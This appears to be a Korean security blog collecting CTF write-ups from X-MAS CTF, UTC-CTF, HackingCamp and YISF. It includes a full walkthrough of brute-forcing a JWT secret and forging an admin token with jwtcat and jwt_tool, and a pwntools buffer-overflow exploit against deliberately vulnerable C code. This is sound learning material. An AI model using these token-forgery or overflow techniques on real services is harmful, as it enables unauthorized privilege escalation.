반응형
반응형
반응형

https://x-mas.aleph.kr/

 

 

Weathering_With_You{Kato_Megumi}팀에서 문제를 풀었습니다.

 

 

Strange Elephpant (misc)

Something wrong happened to my cute elephpant.. :(

 

 

코끼리와 가위바위보를 하면 된다.

 

 

 

코끼리가 낸 가위 바위 보를 보고 조건에 맞춰서 가위 바위 보를 내면 된다. 제한시간은 2초.

어딘가 잘못된 PHP 코끼리에게 져 주세요!

어딘가 잘못된 PHP 코끼리와 비겨주세요!

어딘가 잘못된 PHP 코끼리를 이겨주세요!

 

 

 

 

문제를 손으로 풀려는 시도를 하던 중에 한 가지 사실을 알아 낼 수 있었다.

 

새로고침을 계속 해도

1. 이긴 라운드의 수는 초기화되지 않는다.
2. 제한시간은 초기화된다.
(마지막으로 새로고침한 시점 이후 2초가 지나야 time out. 새로고침을 2초 이상 해도 상관이 없다.)
3. 코끼리와 조건만 바뀔 뿐

 

 

이를 이용해서, 조건이 '비겨주세요'가 나올 때 까지 무한 새로고침해서 코끼리가 낸 것을 보고 그대로 내주면 된다.

이 과정을 100번해서 플래그를 얻을 수 있었다. (하고 나면 손이 저린다.)

 

 

 

FLAG : XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}

코끼리 아저씨 는 코가 손 이래

 

 

 

 


 

 

JWT (web)

Plz crack jwt

 

 

소스코드 파일도 제공되었다.

 

 

src/routes/bruth.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
const { UserBruth, BoardBruth } = require('../sequelize');
 
const jwt = require('jsonwebtoken');
const express = require('express');
const router = express.Router();
 
const CONF = require('../config');
const { wrap, getHash } = require('../func');
 
router.use(express.static(`${__dirname}/../static/bruth`));
 
router.use((req, res, next) => {
  const token = req.cookies.token_b;
  if (token) {
    jwt.verify(token, CONF.jwt.bruth.key, CONF.jwt.bruth.options, (err, decoded) => {
      if (err) {
        if (err.name === 'TokenExpiredError') {
          return res.send({ code: 401, msg: '토큰이 만료되었습니다' });
        } else if (err.name === 'JsonWebTokenError') {
          return res.send({ code: 401, msg: '토큰에 에러가 있습니다' });
        } else {
          return res.send({ code: 401, msg: "토큰 인증 절차에 오류가 발생했습니다", err: err.message });
        }
      } else {
        req.auth = decoded;
        next();
      }
    });
  } else {
    next();
  }
});
 
router.post('/join', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const u = await UserBruth.findOne({
    where: { username },
    attributes: ['id'],
  });
  if (u) return res.send({ code: 423 });
 
  const user = await UserBruth.create({
    username,
    password: getHash(password)
  });
 
  res.send({ code: 200, id: await user.get('id') });
}));
 
router.post('/login', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const user = await UserBruth.findOne({
    where: {
      username,
      password: getHash(password)
    },
    attributes: ['id'],
  });
  if (!user) return res.send({ code: 404 });
 
  const token = jwt.sign(
    {
      uid: user.id,
      isAdmin: false
    },
    CONF.jwt.bruth.key,
    CONF.jwt.bruth.options
  );
  res.cookie('token_b', token, { httpOnly: true });
  res.send({ code: 200 });
}));
 
router.get('/logout', (req, res) => {
  res.cookie('token_b''', { maxAge: Date.now() });
  res.redirect('.');
});
 
router.get('/me', needAuth, wrap(async (req, res) => {
  const { uid } = req.auth;
 
  const user = await UserBruth.findOne({ where: { id: uid }, attributes: ['username'] });
  if (!user) return res.send({ code: 500 });
 
  res.send({ code: 200, username: user.username });
}));
 
router.get('/flag', wrap(async (req, res) => {
  if (!req.auth) return res.send({ code: 401 });
  if (!req.auth.isAdmin) return res.send({ code: 403 });
 
  res.send({ code: 200, flag: CONF.flag.bruth });
}));
 
function needAuth(req, res, next) {
  if (!req.auth) return res.send({ code: 401 });
  next();
}
 
module.exports = router;
cs

 

 

 

93행을 보면, /flag로 접근하면

 

로그인이 되어 있는지 검증 (94행)

isAdmin값이 True인지 검증 (95행)  을 해서 flag를 준다.

 

 

 

isAdmin은 로그인시 jwt token값에 들어간다. (70행)

 

해당 토근 값은 로그인 후, token_b 쿠키값에서 확인할 수 있다.

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

 

 

 

 

 

 

jwt는 .으로 구분되며 header.payload.signature 와 같은 구조를 하고 있다.

 

 

 

아래 사이트에서 내용을 평문으로 확인 할 수 있다. (base64로 봐도 된다.)

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

 

 

isAdmin이 Fasle로 되어 있는데 True로 바꿔주면 된다.

 

 

 

그러나 그냥 바꾸게되면 signature 부분 때문에 효력이 없어진다.

 

payload를 바꾸고 서명까지 완벽하게 하기 위해서는 secret값이 필요하다.

 

 

 

 

 

src/config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const fs = require('fs');
 
module.exports = {
  http: {
    port: 8011,
    flagPort: 8012,
  },
  https: {
    use: false,
    port: 443,
    key: './src/ssl/private.key',
    cert: './src/ssl/certificate.crt',
  },
  db: {
    host: 'mysql',
    port: '3306',
    database: '',
    user: '',
    password: '',
  },
  jwt: {
    bruth: {
      key: '********'// 0~9, 8 length
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1d',
        algorithm: 'HS256',
      }
    },
    csrf: {
      key: {
        private: fs.readFileSync('./keys/private.key'),
        public: fs.readFileSync('./keys/public.key'),
      },
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1h',
        algorithm: 'RS256',
      },
    },
  },
  flag: {
    bruth: '',
    csrf: '',
  },
  hashSort: '',
  password: '',
}
 
cs

23행을 보면 key값은 0~9로 이루어진 8자리라는 힌트를 얻을 수 있다.

 

 

 

 

 

 

 

 

 

 

key값을 구하기 위해 brute force attack을 사용했다.

 

 

0. crunch로 사전 파일을 생성한다.

 

$crunch 8 8 1234567890 -o ./pw.txt

 

최소길이 8, 최대길이 8, 조합1234567890, output

 

 

 

 

1. jwtcat을 이용하여 brute force attack

 

https://github.com/aress31/jwtcat

 

aress31/jwtcat

JSON Web Token (JWT) cracker. Contribute to aress31/jwtcat development by creating an account on GitHub.

github.com

 

 

$ python3 jwtcat.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q -w ./pw.txt
[INFO] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q 
[INFO] Wordlist: ./pw.txt 
[INFO] Starting brute-force attacks
[WARNING] Pour yourself some coffee, this might take a while...
[INFO] Secret key: 40906795 
[INFO] Secret key saved to location: jwtpot.potfile 
[INFO] Finished in 2233.2587053775787 sec

Ryzen 1700의 16개 쓰레드중 3개 사용(가상머신)하여 37분 소요됐다. (중간진행상황을 안보여줘서 불편..)

 

 

 

 

2. jwt-tool을 이용해서 토큰의 내용을 수정해준다.

 

https://github.com/ticarpi/jwt_tool

 

ticarpi/jwt_tool

:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - ticarpi/jwt_tool

github.com

 

$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
 Version 1.3.2                \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = HS256
[+] typ = JWT

Token payload values:
[+] uid = 120
[+] isAdmin = False
[+] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[+] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[+] iss = c2w2m2

Seen timestamps:
[*] iat was seen
[+] exp is later than iat by: 1 days, 0 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] alg = HS256
[2] typ = JWT
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] uid = 120
[2] isAdmin = False
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of isAdmin is: False
Please enter new value and hit ENTER
> True
[1] uid = 120
[2] isAdmin = True
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 1

Please enter the known key:
> 40906795

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4

config.js를 보면 HS256으로 되어 있기 때문에 HMAC-SHA256을 선택해준다.

 

 

 

 

 

새로운 토큰값으로 쿠키를 바꾸고 /flag로 접근하면 flag가 표시된다.

 

{"code":200,"flag":"XMAS{bru73-f0rc3-jw7_^^7}"}

 

반응형

'CTF Write Up' 카테고리의 다른 글

UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
X-MAS CTF 2019 X-MAS Helper write-up  (0) 2019.12.21
THE HACKING CHAMPIONSHIP JUNIOR 2019 FINAL Write-up  (0) 2019.12.10
반응형

https://ctftime.org/event/948

 

UTC-CTF 2019 Teaser

금요일, 20 12월 2019, 23:00 UTC — 토요일, 21 12월 2019, 23:00 UTC  On-line A UTC-CTF event. Format: Jeopardy  Official URL: https://utc-ctf.club/ Future weight: 0.00  Rating weight: 0.00  Event organizers 

ctftime.org


PWN

Simple bof (baby)

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

By: theKidOfArcrania

nc chal.utc-ctf.club 35235

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
 
void print_flag();
 
void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;
 
  memset(buff, 0sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFFsizeof(padding)); // Zero-out the padding.
 
  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 
 
  // Prints out the stack before modification
  visualize(buff);
 
  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!
 
  // Prints out the stack after modification
  visualize(buff); 
 
  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }
 
  exit(0);
}
 
int main() {
  safeguard();
  vuln();
}
 
cs

 

정말 친절한 bof 문제다..

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("chal.utc-ctf.club"35235)
 
= 0x67616c66
payload = "A"*48 + p32(a)
 
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
cs

 

 

FLAG : utc{buffer_0verflows_4re_c00l!}

 

 


Crypto

 

RSAcue [not solved]

I heard you like to RSAcue the world. There we go

By: knapstack

 

 

공개키로 publickey.pem이 주어졌다.

 

여기서 n값을 구해내보자! (openssl)

https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

 

RSA: Get exponent and modulus given a public key

I need to encrypt some data using RSA in JavaScript. All of the libraries around ask for an exponent and a modulus, yet I get a single public.key file from my opponent. How do you retrieve the pu...

stackoverflow.com

 

깔끔하게 보는 방법도 나와 있다.

 

 

 

 


MISC

 

 

Optics 1 (baby)

 

I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:

By: knapstack

 

 

png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.

 

Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.

 

0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.

0x50 0x4e 0x47

 

QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.

 

 

FLAG: utc{dang_you_know_qr_decoding_and_shit}

 


Sanity Check

 

Join our discord and get a free flag.

 

 

와 공짜 플래그

 

FLAG : utc{whats_discord_lol}

 


REVERSING

 

Strings (baby)

 

Itz not giving me flag...

GIMMME THE FLAG

By: theKidOfArcrania

 

 

strings 라는 파일이 주어진다.

 

 

HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.

Open with HxD, you can find ELF header signature.

So, this file's format is ELF.

 

 

 

 

 

그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.

 

 

64bit elf 파일이기 때문에, ida 64bit로 연다.

 

문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.

Check out strings!

 

 

main함수에는 fake flag가 있다.

you can find fake flag in main FUNC.

 

 

 

 

real flag는 여기서 찾을 수 있다.

Real flag is in here!

 

 

FLAG : utc{that_waz_ezpz}


 

 

 

 

 

 

 

 

반응형
반응형

헐... ? 누군가가 장난을 쳐두었어 ! 3가지를 찾아줘 ! 플래그 포맷

HCAMP{삭제 된 유저_메모프로그램에 저장된 숫자_부팅 시 조작 된 프로세스명}

 

[+] 삭제 된 유저는 로그에서 찾을 수 있습니다.

[+] 메모 프로그램은 sticky note입니다.

[+] 부팅 시 로드 되는 화면은 레지스트리에서 관리합니다.

 

 

 

TEAM : 속4Four

대회때 느린 다운로드 속도 + 제한된 데이터량 때문에 이미지파일을 못 받았다가

다음날 와이파이로 접속해서 다운받아 풀었다.

 

vmware로 열려다가 부팅이 안되길레 그냥 FTK Imager로 열어서 풀었다.

 

삭제 된 유저는 로그에서 찾을 수 있다. -> 이벤트 로그

유저 관련 이벤트 로그는 Security.evtx다. 해당 로그파일을 추출해서 이벤트 뷰어로 보면되는데, 삭제로그 이벤트 ID는 4726이다. id로 정렬하면 id가 4726인 로그를 하나 찾을 수 있다.

 

로그 내용에서 '계정 이름: Bn312'을 찾을 수 있다.

 

 

 

 

 

 

 

메모프로그램 (sticky note)에 저장된 숫자 -> sticky note 세이브 파일을 찾으면 된다.

세이브 파일 경로를 검색했을 때

 

C:\Users\계정명\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\localstate

로 찾을 수 있었는데, 해당 경로가 존재하지 않아서, 다른 경로를 찾아 보았다.

 

https://tirtir.tistory.com/entry/%EC%8A%A4%ED%8B%B0%ED%82%A4%EB%85%B8%ED%8A%B8-%EA%B5%AC%EB%B2%84%EC%A0%84-%ED%8C%8C%EC%9D%BC-%EC%9D%BD%EA%B8%B0snt

 

스티키노트 구버전 파일 읽기(.snt)

C:\Users\계정이름\AppData\Roaming\Microsoft\Sticky Notes 안에 위치한 이 파일만 백업한 후 윈도우 업그레이드를 시작했는데.. 새 버전의 윈도우10에서는 아무리 찾아도 넣어야 할 폴더가 보이지 않는다. 업무..

tirtir.tistory.com

 

위 블로그 글을 참고했다. 이미지 파일에서 snt파일을 추출해서 내 컴퓨터에 덮어쓴 후에, sticky note를 실행해주면

저장된 메모가 나온다. 여기서 '저장된 숫자' = 589319235를 구할 수 있다.

 

 

 

 

 

 

 

 

부팅 시 조작 된 프로세스명은 레지스트리에서 찾을 수 있다고 한다.

역시 검색을 해보았다.

 

 

https://ploiu.tistory.com/30

 

[윈도우] 윈도우 구동시 자동시작프로그램 로드순서

[윈도우] 윈도우 구동시 자동시작프로그램 로드순서 얼렁뚱땅 2006.12.01 09:31 윈도우를 구동할시에는 윈도우가 자동적으로 로드를 하여 구동을 시키는 프로그램들이 있는데, 이를 (자동)시작프로그램 이라고 합..

ploiu.tistory.com

여기에서 관련된 레지스트리를 찾았다.

 

SOFTWARE 레지스트리 파일을 추출해서 분석하면 되는데, 

SOFTWARE > Microsoft > Windows > Run 에 shell이라는 이름으로 h33cxkqi1531 라는 값이 들어있었다.

 

 

해서 flag는 HCAMP{Bn312_589319235_h33cxkqi1531}가 된다.

반응형
반응형

Day1은 올클인데 Day2부터 난이도가 높게 느껴졌다...

 

Day3때는 14번 문제 50점 받은것 외엔 문제를 풀지 못했다.

 

 

어떤 문제는 시간초과로 점수를 받지 못했는데, 시간 복잡도를 줄이는 것이 제일 큰 관건이었던 것 같다. (대부분 해결하지 못했다.)

 

 

그리고 코드챌린지와는 채점방식이 달랐다. 코드챌린지는 채점 케이스 하나마다 점수가 있었는데, NYPC는 케이스를 묶어서 종류로 주는데, 이 종류안에 있는 케이스를 모두 통과해야 그 종류에 배정된 점수를 주었다.

 

그래서 야매로 점수를 조금이라도 받는걸 할 수 없었다. 코드챌린지때는 야매로 풀어서 점수를 조금이라도 받은 것이 도움이 되어 본선에 갈 수 있었다.

 

 

어짜피 알고리즘은 공부한 적이 없고 재미로 푸는 거긴 하지만

 

문제 풀이 (python3):

github.com/M4ndU/algorithm_task/tree/master/NYPC2019

반응형
반응형

M4ndU 600점 10등

 

REV 50

FOR 50

MISC 50 100 150 200

 

 

 

[2019] 제17회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.docx
0.42MB

 

[2019] 제17회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.pdf
0.41MB

 

두개 모두 동일한 내용의 파일입니다.

 

 

 

아래 글에는 보고서에 포함된 내용 + 풀이 과정 비하인드(?) + MISC 300 문제 풀이 일부를 포함하고 있습니다.

 

 

Reversing 50

문제 이름

기밀 문서

 

문제 설명

 문서에는 엄청난 것이 들어있는게 분명하다.
 무엇이 들어있는지 확인해볼까?

TOP_SECRET
 Hint1 : 특정 폴더와 파일 이름?
 Hint2 : 비밀번호 변조

 

 

TOP_SECRET이라는 파일이 하나 주어집니다.

 

 

ELF 64bit file

Exeinfo PE로 보면, ELF 64비트 파일임을 알 수 있습니다.

 

 

main함수
sub_B2F함수

IDA로 까보면, 실행경로와 파일명을 출력해주고, id와 pw를 입력받는 것을 알 수 있습니다.

 

sub_B2F함수의 42행을 보면, 실행경로의 7번째 글자부터 4바이트가 YISF인지 비교를 합니다.

있을 경우, Hmm...?을 출력해줍니다.

 

그리고 실행경로의 12번째 글자부터 10바이트를 TOP_SECRET와 비교합니다.

있을 경우, id와 pw을 입력을 받습니다.

 

 

 

id
pw

id와 pw는 변수명을 더블클릭하면 문자열을 보여줍니다.

 

id =  The_World_Best_Programmer

 

pw =  qwe123

 

 

 

따라서 TOP_SECRET파일을  /home/YISF/TOP_SECRET/ 으로 이동시켜서 실행하면 됩니다.

 

 

너 속았냐?

 

하지만 이렇게 출력된 플래그는 인증이 안됩니다. 조건을 하나 더 충족시켜야 하는데요. main함수를 다시 보시면 20번 행에서 파일명의 7번째부터 4바이트를 "flag"와 비교함을 알 수 있습니다.

 

따라서 파일명도 바꿔주어야 합니다. 저는 파일명을 123456flag로 변경하였습니다.

 

 

오이 오이 믿고 있었다구!!

그러면 인증가능한 플래그가 출력됩니다.

 

 

 

 

Forensic 50

문제 이름

범죄를 증명하라(1)

 

문제 설명

마약관련 범죄를 저지른 범죄조직을 감시하던중 네트워크를 통해 정보를 주고받았다는 제보를 받았다. 패킷을 수집하였으나 분석을   있는 사람이 없어 분석을 못하고 있다. 수사기관을 도와 분석을 마무리하자.

 <제보1> 익명의 제보자는 조직원들이 FTP 이용하여 파일을 공유했다라고 한다.
 <제보2> 익명의 제보자는 recovery라는 메시지를 남긴  연락이 두절되었다.....
 <제보3> 연락 두절된 제보자가 image.zip 복구하라는 메세지를 보냈다!

 

 

 

작년 처럼 포렌식으로 점수먹으려다가 첫 문제에서 10시간이상 소비한 문제...

 

일단 힌트가 없었을때, wireshark로 분석했을 때, 크게 2~3개정도로 나눌 수 있었습니다.

 

1. 아프리카tv 패킷

2. ftp 패킷

3. websocket 패킷

 

 

websocket 패킷을 봤을 때 사람 이름들이 나오길레 이건가 싶었는데... 결론은 관련이 없었습니다. 아프리카tv쪽에서 나온 패킷인 것 같습니다. (추측)

 

 

힌트1 <제보1>을 통해서 ftp패킷을 분석함이 확실해져서 ftp-data패킷만 모아서 파일들을 추출하였습니다. wireshark 필터에 (ftp-data)을 입력하면 해당 패킷만 모아 볼 수 있습니다. 그리고 패킷 우클릭 > follow > TCP Stream

RAW > save as > 추출!

 

image.zip 파일, 기차 이미지 파일 2개, 멜론 설치 파일

총 4개의 파일을 얻을 수 있었습니다. image.zip파일이 오류로 열리지 않느 것 빼곤 나머지 파일은 정상이었습니다.

 

HxD로 봤을 때, image.zip파일이 열리지 않는 이유가 일단 파일 크기가 매우 크게 설정된 것도 있었고, 파일 명도 읽을 수 없는 형태였습니다. zip파일 시그니쳐가 손상된 것도 아니고... 제가 아는 복구 방법으로는 해결을 못했습니다.

 

그렇게 힌트 존버하다가... 나온 힌트들이 모두 이미 진행된 내용이라 포기하려다가

 

어떤 한분이 푸시고, 디스코드에 '운이 좋게 풀었다', '노가다 했다'라고 하셔서 저도 풀 수 있을 것 같다는 생각이 들었고 구글링을 시작했습니다. "ctf zip 복구"로 검색을 하니 블로그 글 하나를 찾을 수 있었습니다.  

 

https://m.blog.naver.com/PostView.nhn?blogId=j28150&logNo=220993474255&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

[Plaid CTF 2017] zipper (Misc 50pts)

Something doesn't seem quite right with this zip file. Can you fix it and get the flag?zip파일 헤...

blog.naver.com

 

위 블로그 글에 나온대로 풀려고 했는데, 주어진 zip파일은 파일 크기 부분이 정상이 아니었기 때문에, data부분의 정확한 크기를 알 수 없었습니다. 그래서 1바이트씩 줄여가며 시도할 생각으로 0000이 끝나는 부분을 기점으로 추출해서 zip파일을 만들고 파이썬 코드로 압축 풀기를 시도했습니다.

 

image.zip dat부분
data 부분을 추출하여 만든 image.zip

 

s.py

1
2
3
import zlib
= open('image.zip').read()
print zlib.decompress(d, -15)
cs

python s.py

실행결과 :

FLAG : YISF{Y0U_4R3_G00D_H0M3_M4K3R}

 

 

띠용.. 플래그가 바로 나와버렸습니다...

 

 

 

 

Misc 50

문제 이름

 확인

 

문제 설명

룰을 확인하세요!

 

대회의 룰을 읽고 하단의 ‘확인을 클릭하면플래그가 나왔습니다.

FLAG : YISF{G00D_LUCK_3V3RY01V3}

 

 

 

 

Misc 100

문제 이름

Hidden area search

 

문제 설명

nc 218.158.141.199 24763

  문제마다 새로운 직선방정식 3개가 주어진다.
  직선방정식들로 만들어진 삼각형의 넓이를 구하여라

 

 

일차방정식 3개를 입력받아, 각각  방정식끼리 연립해서 교점을 구하고,  점의 좌표를  때의 삼각형 넓이 공식에 대입하여 넓이를 구하였습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from sympy import *
from pwn import *
 
def cleaneqn(s):
    s = str(s)
    s= list(map(str, s.split()))
    s[0= s[0].replace("b'""")
    s[6= s[6].replace("\\n'","")
    if int(s[3])<0:
        ss = s[0]+"*"+s[1]+s[3]+"*"+s[4]+" "+s[6]
    else:
        ss = s[0]+"*"+s[1]+s[2]+s[3]+"*"+s[4]+" "+s[6]
    return ss
 
def solveeqn(a1, a2): #연립방정식 풀어서 x와 y값 구하기
    x, y = symbols('x y')
    a1 = a1.split()
    a2 = a2.split()
    return eval("solve( [ Eq("+a1[0]+" ,"+a1[1]+"), Eq("+a2[0]+", "+a2[1]+") ], [x,y] )"#입력 형태 맞춰 넣기가 애매해서 eval함수 사용했습니다.
 
def solve_func(e):
    x, y = symbols('x y')
 
    for i in range(0,3):
        e[i] = cleaneqn(e[i]) #입력받은 방정식을 sympy가 입력받을 수 있는 형태로 변환
 
    ss1 = solveeqn(e[0], e[1]) #교점 좌표 구하기
    ss2 = solveeqn(e[1], e[2])
    ss3 = solveeqn(e[0], e[2])
    x1 = ss1[x]
    y1 = ss1[y]
    x2 = ss2[x]
    y2 = ss2[y]
    x3 = ss3[x]
    y3 = ss3[y]
    ans = 0.5*abs((x1 - x2)*y3 + (x2-x3)*y1 + (x3-x1)*y2) #각 꼭짓점의 좌표를 알 때의 삼각형 넓이 공식
    return ans
 
#main
equation = ["0"]*3 #방정식을 저장하기 위함
= remote("218.158.141.199"24763)
p.recvuntil("Start>")
p.recvline()
p.recvline()
for i in range(0100):
    print(p.recvline()) #step
    p.recvline()
    equation[0= p.recvline()
    equation[1= p.recvline()
    equation[2= p.recvline()
    for j in range(03):
        print(equation[j])
    p.recvuntil(":")
    p.sendline(str(solve_func(equation)))
    print(p.recvline()) #correct
    p.recvline()
 
p.interactive()
 
#flag : YISF{Mathematical_ability_i5_n0t_ru5ty}
 
cs

 

 

 

Misc 150

문제 이름

Rule_reverse_engineering

 

문제 설명

[MISC-150]Rule_reverse_engineering
 nc 218.158.141.182 52387

 실행마다 예시인 문자열이 달라지는데 바이너리값은 같을 때가 있다.
